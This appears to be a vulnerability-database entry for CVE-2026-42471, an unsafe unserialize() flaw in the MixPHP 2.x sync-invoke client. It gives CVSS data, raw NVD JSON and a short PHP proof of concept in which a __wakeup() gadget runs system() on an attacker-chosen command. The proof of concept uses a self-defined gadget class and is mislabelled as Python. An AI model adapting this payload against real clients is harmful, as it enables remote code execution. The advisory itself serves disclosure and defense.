Security Vulnerability Report
中文
CVE-2026-42471 CVSS 8.1 HIGH

CVE-2026-42471

Published: 2026-05-01 16:16:31
Last Modified: 2026-05-05 19:39:59

Description

Unsafe deserialization vulnerability in MixPHP Framework 2.x thru 2.2.17. The sync-invoke client (Connection.php:76) calls unserialize() on data received from the server response, enabling client-side RCE if connecting to a malicious server.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MixPHP Framework 2.x
MixPHP Framework <= 2.2.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // PoC for CVE-2026-42471 // Description: Generate malicious payload to trigger RCE via unsafe deserialization class VulnerableComponent { public $cmd; public function __wakeup() { // This method is automatically called during unserialize() if (isset($this->cmd)) { system($this->cmd); } } } // Create the malicious object $payload = new VulnerableComponent(); $payload->cmd = 'touch /tmp/poc_success.txt'; // Command to execute // Serialize the object $serialized_data = serialize($payload); // Output the payload that would be sent by the malicious server echo "Generated Malicious Payload:\n"; echo $serialized_data . "\n"; // Exploitation context: // 1. Attacker hosts a malicious MixPHP server. // 2. Server returns $serialized_data in response to a sync-invoke request. // 3. Victim client (MixPHP < 2.2.18) receives data. // 4. Client executes unserialize($serialized_data) in Connection.php:76. // 5. __wakeup() runs, executing 'touch /tmp/poc_success.txt'. ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42471", "sourceIdentifier": "[email protected]", "published": "2026-05-01T16:16:31.470", "lastModified": "2026-05-05T19:39:58.510", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unsafe deserialization vulnerability in MixPHP Framework 2.x thru 2.2.17. The sync-invoke client (Connection.php:76) calls unserialize() on data received from the server response, enabling client-side RCE if connecting to a malicious server."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://gist.github.com/sgInnora/fa46386840fe978a30d7e53c458f2975", "source": "[email protected]"}, {"url": "https://github.com/mix-php/mix", "source": "[email protected]"}, {"url": "https://github.com/mix-php/mix/blob/v2.2.17/src/sync-invoke/src/Server.php", "source": "[email protected]"}]}}